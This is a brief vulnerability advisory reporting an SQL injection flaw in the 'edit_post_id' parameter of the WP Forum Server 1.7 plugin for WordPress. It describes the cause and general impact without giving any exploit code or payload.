Discussion
WordPress WP Forum Server Plugin 'edit_post_id' Parameter SQL Injection Vulnerability
The WP Forum Server plug-in for WordPress is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit will allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
WP Forum Server 1.7 is vulnerable; other versions may also be affected.
